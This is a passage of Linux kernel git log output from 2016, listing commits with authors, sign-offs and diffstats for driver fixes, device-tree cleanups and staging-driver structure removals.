drivers/irqchip/irq-keystone.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7eb9f069ff5dd39d44d7ecdf63eb99b429c7dad0 Author: Jyri Sarha Date: Fri Aug 26 15:10:14 2016 +0300 drm/tilcdc: Write DMA base and ceiling address with single instruction Write DMA base and ceiling address with a single instruction, if available. This should make it more unlikely that LCDC would fetch the DMA addresses in the middle of an update. Having bad combination of addresses in dma base and ceiling (e.g base > ceiling) can cause unpredictaple behavior in LCDC. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 10 ++++++++-- drivers/gpu/drm/tilcdc/tilcdc_regs.h | 14 ++++++++++++++ 2 files changed, 22 insertions(+), 2 deletions(-) commit 63b07a8d8177675c5a4297de477fd511e9be7896 Author: Jyri Sarha Date: Thu Aug 11 11:22:12 2016 +0300 drm/tilcdc: Remove drm_helper_disable_unused_functions() call drm_helper_disable_unused_functions() should not be called by atomic drivers. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_drv.c | 2 -- 1 file changed, 2 deletions(-) commit 8d6c3f7d8f60c36b4399ed02ca20e5021131dbfa Author: Karl Beldan Date: Tue Aug 23 12:57:00 2016 +0000 drm/tilcdc: Enable EOF interrupts for v1 LCDC This got accidentally dropped in the fixed commit and is required for the driver to properly work on the rev1 IP, such as found on the LCDK. Fixes: 2b2080d7e9ae ("drm/tilcdc: Get rid of complex ping-pong mechanism") Signed-off-by: Karl Beldan Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 2 ++ 1 file changed, 2 insertions(+) commit ee8c42baebfa28fddb0d0657a87444a1ef3806ed Author: Karl Beldan Date: Tue Aug 23 12:56:59 2016 +0000 drm/tilcdc: Adjust the FB_CEILING address The LCDC seems to expect its framebuffer ceiling address pointer to be an inclusive bound. The IP rev2 seems to cope with that but rev1 (as found on the LCDK) don't. Also note that this is what the framebuffer code does in da8xx-fb.c. Since, as the TRM puts it, "The 2 LSBs are hardwired to 00b", the dma_addr_t can be decremented without cast. I tested it with a v2 (AM335x, rev 0x4F201000) and an LCDK (v1). Signed-off-by: Karl Beldan Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a3479c4fa0f149d9f3f6f88c173c4f4cd07a1714 Author: Teresa Remmet Date: Mon Aug 15 10:16:28 2016 +0200 drm/tilcdc: Fix check for remote port parent In function tilcdc_get_external_components the check for the remote port parent is not correct. We need a '||' instead of an '&&'. Signed-off-by: Teresa Remmet Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_external.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 563cada03db9cb5df19b20290b65c4e5e1d21358 Author: Vladimir Murzin Date: Thu Sep 1 14:35:59 2016 +0100 arm64: kernel: do not need to reset UAO on exception entry Commit e19a6ee2460b ("arm64: kernel: Save and restore UAO and addr_limit on exception entry") states that exception handler inherits the original PSTATE.UAO value, so UAO needes to be reset explicitly. However, ARM 8.2 Extension documentation says: PSTATE.UAO is copied to SPSR_ELx.UAO and is then set to 0 on an exception taken from AArch64 to AArch64 so hardware already does the right thing. Signed-off-by: Vladimir Murzin Acked-by: James Morse Signed-off-by: Will Deacon arch/arm64/kernel/entry.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4e21a95d7fbc526d35d860ec34c468e04f53672f Author: Bjorn Andersson Date: Fri Aug 26 14:59:17 2016 -0700 soc: qcom: smd: Reset rx tail rather than tx The local end of each SMD channel is responsible for updating the tx head and the rx tail, as such we should not touch the tx tail during a reset. Reported-by: Jeremy McNicoll Signed-off-by: Bjorn Andersson Signed-off-by: Andy Gross drivers/soc/qcom/smd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8232884e2dfa606edef66b2c889d4d2ebe042cb8 Author: Julia Lawall Date: Thu Sep 1 19:51:38 2016 +0200 serial/arc: constify uart_ops structures Check for uart_ops structures that are only stored in the ops field of a uart_port structure. This field is declared const, so uart_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct uart_ops i@p = { ... }; @ok@ identifier r.i; struct uart_port e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct uart_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct uart_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/arc_uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2cb78eab2376a36d688f6740d60c63739149a4a3 Author: Kefeng Wang Date: Thu Sep 1 10:24:19 2016 +0800 serial: 8250_dw: Use an unified new dev variable in probe Use an unified new dev variable instead of &pdev->dev and p->dev in probe function. Reviewed-by: Heikki Krogerus Signed-off-by: Kefeng Wang Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_dw.c | 45 ++++++++++++++++++++------------------- 1 file changed, 23 insertions(+), 22 deletions(-) commit ce927bf174b69328e953a77730e12065c19e87cb Author: stephen hemminger Date: Thu Sep 1 08:51:07 2016 -0700 mpls: get rid of trivial returns return at end of function is useless. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller net/mpls/af_mpls.c | 5 ----- 1 file changed, 5 deletions(-) commit ba3d0dda6d5facd6fe63a3276825bd2b9fa2990e Author: Arnd Bergmann Date: Mon Aug 29 14:37:14 2016 +0200 net: xgene: fix backward compatibility fix A bugfix for backward compatibility handling introduced undefined behavior for the case that of_parse_phandle() does not return a valid entry, as "gcc -Wmaybe-unused" reports: drivers/net/ethernet/apm/xgene/xgene_enet_hw.c: In function 'xgene_enet_phy_connect': drivers/net/ethernet/apm/xgene/xgene_enet_hw.c:776:6: error: 'phy_dev' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/net/ethernet/apm/xgene/xgene_enet_hw.c: In function 'xgene_enet_mdio_config': drivers/net/ethernet/apm/xgene/xgene_enet_hw.c:776:6: error: 'phy_dev' may be used uninitialized in this function [-Werror=maybe-uninitialized] We can work around this by removing the check for zero "np", as of_phy_connect() will correctly handle a NULL argument so we fall back into the normal error handling case. Note that I had previously fixed another bug that resulted in the exact same warning, but this is a different problem that was introduced after my original fix. Signed-off-by: Arnd Bergmann Fixes: 03377e381bf4 ("drivers: net: xgene: Fix backward compatibility") Signed-off-by: David S. Miller drivers/net/ethernet/apm/xgene/xgene_enet_hw.c | 4 ---- 1 file changed, 4 deletions(-) commit 53700f0c9ac36000d35d1fd3645d1607b5c45fac Author: hayeswang Date: Thu Sep 1 17:01:42 2016 +0800 r8152: fix the coding style with checkpatch.pl check the coding style with checkpatch.pl and fix the warnings and errors. Signed-off-by: Hayes Wang Signed-off-by: David S. Miller drivers/net/usb/r8152.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit b5644a5e72f0a18c0cddf887bec1e1370cf67a8c Author: Chen-Yu Tsai Date: Thu Sep 1 14:13:32 2016 +0800 drm/sun4i: Clear encoder->bridge if a bridge is not found The KMS helpers (drm_atomic_helper_check_modeset/mode_fixup) pass encoder->bridge directly to drm_bridge_mode_fixup, which expects a valid pointer, or NULL (in which case it just returns). Clear encoder->bridge if a bridge is not found, instead of keeping the ERR_PTR value. Since other drm_bridge functions also follow this pattern of checking for a non-NULL pointer, we can drop the ifs around the calls and just pass the pointer directly. Fixes: 894f5a9f4b4a ("drm/sun4i: Add bridge support") Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_rgb.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 0cb7bf61b1e9f05027de58c80f9b46a714d24e35 Merge: aa87717 3eab887 Author: Thomas Gleixner Date: Thu Sep 1 18:33:46 2016 +0200 Merge branch 'linus' into smp/hotplug Apply upstream changes to avoid conflicts with pending patches. commit a0eb109598863442a1663817721c437d2679fa0e Author: Javier Martinez Canillas Date: Thu Sep 1 11:06:56 2016 +0200 ARM: dts: exynos: Add missing unit name to memory nodes in Exynos5 DTS This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos5250-arndale.dts | 2 +- arch/arm/boot/dts/exynos5250-smdk5250.dts | 2 +- arch/arm/boot/dts/exynos5250-snow-common.dtsi | 2 +- arch/arm/boot/dts/exynos5250-spring.dts | 2 +- arch/arm/boot/dts/exynos5260-xyref5260.dts | 2 +- arch/arm/boot/dts/exynos5410-odroidxu.dts | 2 +- arch/arm/boot/dts/exynos5410-smdk5410.dts | 2 +- arch/arm/boot/dts/exynos5420-arndale-octa.dts | 2 +- arch/arm/boot/dts/exynos5420-peach-pit.dts | 2 +- arch/arm/boot/dts/exynos5420-smdk5420.dts | 2 +- arch/arm/boot/dts/exynos5422-odroidxu3-common.dtsi | 2 +- arch/arm/boot/dts/exynos5440-sd5v1.dts | 2 +- arch/arm/boot/dts/exynos5440-ssdk5440.dts | 2 +- arch/arm/boot/dts/exynos5800-peach-pi.dts | 2 +- 14 files changed, 14 insertions(+), 14 deletions(-) commit 824e4133fadec876e9ec6430866e3573439934f7 Author: Javier Martinez Canillas Date: Thu Sep 1 11:06:55 2016 +0200 ARM: dts: exynos: Add missing unit name to memory nodes in Exynos4 DTS This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos4210-origen.dts | 2 +- arch/arm/boot/dts/exynos4210-smdkv310.dts | 2 +- arch/arm/boot/dts/exynos4210-trats.dts | 2 +- arch/arm/boot/dts/exynos4210-universal_c210.dts | 2 +- arch/arm/boot/dts/exynos4412-odroidu3.dts | 2 +- arch/arm/boot/dts/exynos4412-odroidx.dts | 2 +- arch/arm/boot/dts/exynos4412-odroidx2.dts | 2 +- arch/arm/boot/dts/exynos4412-origen.dts | 2 +- arch/arm/boot/dts/exynos4412-smdk4412.dts | 2 +- arch/arm/boot/dts/exynos4412-tiny4412.dts | 2 +- arch/arm/boot/dts/exynos4412-trats2.dts | 2 +- 11 files changed, 11 insertions(+), 11 deletions(-) commit 2458ff00876bcae594d65511badb8623d1109916 Author: Javier Martinez Canillas Date: Thu Sep 1 11:06:54 2016 +0200 ARM: dts: exynos: Add missing unit name to memory nodes in Exynos3 DTS This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos3250-artik5.dtsi | 2 +- arch/arm/boot/dts/exynos3250-monk.dts | 2 +- arch/arm/boot/dts/exynos3250-rinato.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 12676ee1a46f13a9b8c3eaf6df686964783e66da Author: Javier Martinez Canillas Date: Thu Sep 1 11:06:53 2016 +0200 ARM: dts: exynos: Remove skeleton.dtsi usage for Exynos5 The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos5.dtsi | 3 ++- arch/arm/boot/dts/exynos5250-arndale.dts | 1 + arch/arm/boot/dts/exynos5250-smdk5250.dts | 1 + arch/arm/boot/dts/exynos5250-snow-common.dtsi | 1 + arch/arm/boot/dts/exynos5250-spring.dts | 1 + arch/arm/boot/dts/exynos5260-xyref5260.dts | 1 + arch/arm/boot/dts/exynos5260.dtsi | 4 ++-- arch/arm/boot/dts/exynos5410-odroidxu.dts | 1 + arch/arm/boot/dts/exynos5410-smdk5410.dts | 1 + arch/arm/boot/dts/exynos5420-arndale-octa.dts | 1 + arch/arm/boot/dts/exynos5420-peach-pit.dts | 1 + arch/arm/boot/dts/exynos5420-smdk5420.dts | 1 + arch/arm/boot/dts/exynos5422-odroidxu3-common.dtsi | 1 + arch/arm/boot/dts/exynos5440.dtsi | 3 ++- arch/arm/boot/dts/exynos54xx.dtsi | 1 - arch/arm/boot/dts/exynos5800-peach-pi.dts | 1 + 16 files changed, 18 insertions(+), 5 deletions(-) commit d5b0dc86a2b93bdf1b3e2309153b85d596d4503d Author: Shawn Lin Date: Thu Aug 4 15:52:07 2016 +0800 dt-bindings: PCI: rockchip: Add DT bindings for Rockchip PCIe controller Add a binding that describes the Rockchip PCIe controller found on Rockchip SoCs PCIe interface. Signed-off-by: Shawn Lin Signed-off-by: Bjorn Helgaas Reviewed-by: Brian Norris Acked-by: Rob Herring .../devicetree/bindings/pci/rockchip-pcie.txt | 106 +++++++++++++++++++++ 1 file changed, 106 insertions(+) commit 1354835a8911afd0e02514b530539b0d42b0a8ec Author: Javier Martinez Canillas Date: Thu Sep 1 11:06:52 2016 +0200 ARM: dts: exynos: Remove skeleton.dtsi usage for Exynos4 The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos4.dtsi | 3 ++- arch/arm/boot/dts/exynos4210-origen.dts | 1 + arch/arm/boot/dts/exynos4210-smdkv310.dts | 1 + arch/arm/boot/dts/exynos4210-trats.dts | 1 + arch/arm/boot/dts/exynos4210-universal_c210.dts | 1 + arch/arm/boot/dts/exynos4412-odroidu3.dts | 1 + arch/arm/boot/dts/exynos4412-odroidx.dts | 1 + arch/arm/boot/dts/exynos4412-odroidx2.dts | 1 + arch/arm/boot/dts/exynos4412-origen.dts | 1 + arch/arm/boot/dts/exynos4412-smdk4412.dts | 1 + arch/arm/boot/dts/exynos4412-tiny4412.dts | 1 + arch/arm/boot/dts/exynos4412-trats2.dts | 1 + arch/arm/boot/dts/exynos4415.dtsi | 3 ++- 13 files changed, 15 insertions(+), 2 deletions(-) commit 33c3de7e6b3bb836957b32ff7195ff92e4437d74 Author: Javier Martinez Canillas Date: Thu Sep 1 11:06:51 2016 +0200 ARM: dts: exynos: Remove skeleton.dtsi usage for Exynos3 The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" The disassembled DTB are almost the same besides an empty chosen node being removed and nodes reordered, so it should not have functional changes. Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos3250-artik5.dtsi | 1 + arch/arm/boot/dts/exynos3250-monk.dts | 1 + arch/arm/boot/dts/exynos3250-rinato.dts | 1 + arch/arm/boot/dts/exynos3250.dtsi | 3 ++- 4 files changed, 5 insertions(+), 1 deletion(-) commit 91e723c609e2a971e28a403160bfd0f97b509c97 Author: Javier Martinez Canillas Date: Thu Sep 1 11:06:50 2016 +0200 ARM: dts: exynos: Add missing memory node for Exynos5440 boards The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" But these boards don't have a memory node defined, so removing the skeleton.dtsi inclusion in exynos5440.dtsi will cause a change in the compiled DTB. Add a dummy memory node so the compiled DTB does not change if the skeleton.dtsi is removed from exynos5440.dtsi. Eventually the correct starting addresses and sizes should be used but I didn't find that information. Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos5440-sd5v1.dts | 6 ++++++ arch/arm/boot/dts/exynos5440-ssdk5440.dts | 6 ++++++ 2 files changed, 12 insertions(+) commit 8861dd303cba879bae9a9dcee74042fb642bf03b Author: Namhyung Kim Date: Wed Aug 31 11:55:29 2016 +0900 ftrace: Access ret_stack->subtime only in the function profiler The subtime is used only for function profiler with function graph tracer enabled. Move the definition of subtime under CONFIG_FUNCTION_PROFILER to reduce the memory usage. Also move the initialization of subtime into the graph entry callback. Link: http://lkml.kernel.org/r/20160831025529.24018-1-namhyung@kernel.org Cc: Ingo Molnar Cc: Josh Poimboeuf Signed-off-by: Namhyung Kim Signed-off-by: Steven Rostedt Documentation/trace/ftrace.txt | 10 +++++----- include/linux/ftrace.h | 2 ++ kernel/trace/ftrace.c | 6 ++++++ kernel/trace/trace_functions_graph.c | 1 - 4 files changed, 13 insertions(+), 6 deletions(-) commit 7bba53e9c2d2540dcb23ad3d6c24cbd1c310068c Author: Anson Jacob Date: Thu Aug 25 11:32:11 2016 -0400 staging: fbtft: fb_tls8204: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_tls8204.c | 57 +++++++++++++++++++------------------- 1 file changed, 29 insertions(+), 28 deletions(-) commit fe9b610b375b9c3c1088b9e330b07dd1aac14418 Author: Anson Jacob Date: Thu Aug 25 11:31:58 2016 -0400 staging: fbtft: fbtft_device: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fbtft_device.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit b2ac4a927034d0159714b8bb660e7841a80bc517 Author: Anson Jacob Date: Thu Aug 25 11:27:19 2016 -0400 staging: fbtft: fbtft-bus: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fbtft-bus.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit a4f368dcaf6e966389511497208c31ddbfede1cf Author: Anson Jacob Date: Thu Aug 25 11:26:13 2016 -0400 staging: fbtft: fb_st7735r: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_st7735r.c | 43 +++++++++++++++++++++++--------------- 1 file changed, 26 insertions(+), 17 deletions(-) commit ba6ed6431b37deaadc4f222948c8ea58b4974635 Author: Anson Jacob Date: Thu Aug 25 11:25:59 2016 -0400 staging: fbtft: fb_ssd1331: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_ssd1331.c | 40 +++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 20 deletions(-) commit d0b6ecbedd2c247e367de3659ccf251ad3c62b9c Author: Anson Jacob Date: Thu Aug 25 11:23:54 2016 -0400 staging: fbtft: fb_ssd1306: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_ssd1306.c | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit b2a8bb77490e6b10244f7c94c263ed859eb9033c Author: Anson Jacob Date: Thu Aug 25 11:23:41 2016 -0400 staging: fbtft: fb_ssd1289: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_ssd1289.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit a40fe1555b080703907f91d4f22c059eda3f40ef Author: Anson Jacob Date: Thu Aug 25 11:23:27 2016 -0400 staging: fbtft: fb_s6d1121.c: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_s6d1121.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 8c21f39cb53f1ed909e875cbab3a537b57eb97a2 Author: Anson Jacob Date: Thu Aug 25 11:23:08 2016 -0400 staging: fbtft: fb_s6d02a1.c: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Block comments use a trailing */ on a separate line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_s6d02a1.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit bd83585d2db1085831f744264c7db5da46896485 Author: Ivan Safonov Date: Wed Aug 24 15:23:40 2016 +0700 staging: r8188eu: remove some structures definitions from rtw_ioctl.h oid_funs_node and oid_obj_priv structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_ioctl.h | 15 --------------- 1 file changed, 15 deletions(-) commit 46d64dc40be544568bc547a6ffa1dfe33a88112c Author: Ivan Safonov Date: Wed Aug 24 15:23:36 2016 +0700 staging: r8188eu: remove some structure definitions from rtw_event.h addba_event, event_node and c2hevent_queue structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_event.h | 19 ------------------- 1 file changed, 19 deletions(-) commit 962bbaaf9004d701a158962a121c870c9fb5b490 Author: Ivan Safonov Date: Wed Aug 24 15:23:26 2016 +0700 staging: r8188eu: remove some structure definitions from rtw_cmd.h del_assocsta_parm and setstapwrstate_parm structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_cmd.h | 28 ---------------------------- 1 file changed, 28 deletions(-) commit a24b964d1adb353622b9c93f85bb639b25cb5d08 Author: Ivan Safonov Date: Wed Aug 24 15:23:17 2016 +0700 staging: r8188eu: remove some structure definitions from wlan_bssdef.h cmd_msg_parm, H2C_SS_RFOFF_PARAM, joinbssrpt_parm, P2P_PS_Offload_t and P2P_PS_CTWPeriod_t structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtl8188e_cmd.h | 30 ------------------------ 1 file changed, 30 deletions(-) commit 36b010d0087aefd7d6f06a919ecd7d1511d05f57 Author: Ivan Safonov Date: Wed Aug 24 15:23:12 2016 +0700 staging: r8188eu: remove odm_sta_info structure odm_sta_info structure does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/odm.h | 16 ---------------- 1 file changed, 16 deletions(-) commit 2e9ae71939bedb6a1d28c8756c8224eedc52096f Author: Ivan Safonov Date: Wed Aug 24 15:23:04 2016 +0700 staging: r8188eu: remove smooth_rssi_data structure This structure does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_recv.h | 7 ------- 1 file changed, 7 deletions(-) commit 87b05ed81fe26b97941e632ac07b871b23f347f9 Author: Ivan Safonov Date: Wed Aug 24 15:22:58 2016 +0700 staging: r8188eu: remove sha256_state structure This structure does not used in driver code. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_security.h | 6 ------ 1 file changed, 6 deletions(-) commit c56b9a3aac9da342a1b8ff1850d64aa19ff57a8e Author: Ivan Safonov Date: Wed Aug 24 15:22:53 2016 +0700 staging: r8188eu: remove agg_pkt_info structure This structure does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_xmit.h | 5 ----- 1 file changed, 5 deletions(-) commit 21b8461f8033ec6d6e27a45cdbd70522f9cd74c6 Author: Ivan Safonov Date: Wed Aug 24 15:22:44 2016 +0700 staging: r8188eu: remove some structure definitions from wlan_bssdef.h ndis_802_11_ai_reqfi, ndis_802_11_ai_resfi, ndis_802_11_assoc_info, ndis_802_11_remove_key, ndis_802_11_auth_req, ndis_802_11_status_ind, ndis_802_11_auth_evt, ndis_802_11_test, pmkid_candidate, ndis_802_11_pmkid_list, ndis_802_11_auth_encrypt and ndis_802_11_cap structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/wlan_bssdef.h | 83 ------------------------- 1 file changed, 83 deletions(-) commit 50a619d52c4c4d16a12d56bd40dd6d1b52f31395 Author: Ivan Safonov Date: Wed Aug 24 15:22:37 2016 +0700 staging: r8188eu: remove include/HalHWImg8188E_FW.h This file does not included to other sources. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman .../staging/rtl8188eu/include/HalHWImg8188E_FW.h | 29 ---------------------- 1 file changed, 29 deletions(-) commit 603c562096e1a0e4a6481c4d34dfc52a4e8c1c1b Author: Ivan Safonov Date: Wed Aug 24 15:22:32 2016 +0700 staging: r8188eu: remove some structure definitions from Hal8188EPhyCfg.h ant_sel_ofdm and ant_sel_cck structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/Hal8188EPhyCfg.h | 18 ------------------ 1 file changed, 18 deletions(-) commit 36eb7d108e8de3097f373eb8629d8739d4fa3e74 Author: Ivan Safonov Date: Wed Aug 24 15:22:28 2016 +0700 staging: r8188eu: remove some structure definitions from include/ieee80211.h ieee_ibss_seq, rtw_ieee80211_hdr_qos, eapol, ieee80211_rx_stats, ieee80211_frag_entry, ieee80211_stats, ieee80211_softmac_stats, ieee80211_security, ieee80211_header_data, ieee80211_info_element_hdr, ieee80211_info_element, ieee80211_authentication, ieee80211_probe_response, ieee80211_probe_request, ieee80211_assoc_request_frame, ieee80211_assoc_response_frame structures are not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/ieee80211.h | 196 -------------------------- 1 file changed, 196 deletions(-) commit 7326be59671d9c62513d56a9daf031a482eeb531 Author: Ivan Safonov Date: Wed Aug 24 15:22:24 2016 +0700 staging:r8188eu: remove unnecessary include from include/rtw_ht.h osdep_service.h does not required in include/rtw_ht.h. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_ht.h | 1 - 1 file changed, 1 deletion(-) commit 8204ba143f3d28e22a548881b0edb0e78aac1f8d Author: Ivan Safonov Date: Wed Aug 24 15:22:17 2016 +0700 staging: r8188eu: remove dead code from rtw_update_ht_cap function This code affect only to local variables that does not used later. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme.c | 16 ---------------- 1 file changed, 16 deletions(-) commit 8e5e7647b9db6991057f523b7266052c8235d09e Author: Ivan Safonov Date: Wed Aug 24 15:22:11 2016 +0700 staging: r8188eu: remove rx_ampdu_maxlen member of ht_priv rx_ampdu_maxlen used only once for assigning value. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme.c | 1 - drivers/staging/rtl8188eu/include/rtw_ht.h | 2 -- 2 files changed, 3 deletions(-) commit 3c6ccb8094bfefb5db01026ff7a810878a58fb1b Author: Ivan Safonov Date: Wed Aug 24 15:22:05 2016 +0700 staging: r8188eu: remove unused members of ht_priv structure tx_amsdu_enable and tx_amdsu_maxlen are not used in driver code. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_ht.h | 2 -- 1 file changed, 2 deletions(-) commit 2976f0a5bc2a3a50c84de49f0a14c5d84439ae2b Author: Ivan Safonov Date: Wed Aug 24 15:22:01 2016 +0700 staging: r8188eu: remove HT_caps_element structure This type does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/wifi.h | 9 --------- 1 file changed, 9 deletions(-) commit 3d3cd94d0d695292ba29a918669faca8ecf368cd Author: Ivan Safonov Date: Wed Aug 24 15:21:55 2016 +0700 staging: r8188eu: replace HT_caps_element with ieee80211_ht_cap structure HT_caps_element is reimplementation of ieee80211_ht_cap. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 10 ++++----- drivers/staging/rtl8188eu/core/rtw_ioctl_set.c | 6 +++--- drivers/staging/rtl8188eu/core/rtw_mlme.c | 12 +++++------ drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 22 +++++++++---------- drivers/staging/rtl8188eu/core/rtw_wlan_util.c | 27 ++++++++++++------------ drivers/staging/rtl8188eu/include/rtw_mlme_ext.h | 6 +++--- 6 files changed, 42 insertions(+), 41 deletions(-) commit ad0ca5903cfc45389c71ff88d310641f49a1391c Author: Ivan Safonov Date: Wed Aug 24 15:21:50 2016 +0700 staging: r8188eu: simplify HT_caps_element structure Now HT_caps_element structure is similar to ieee80211_ht_caps. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 6 +++--- drivers/staging/rtl8188eu/core/rtw_ioctl_set.c | 6 +++--- 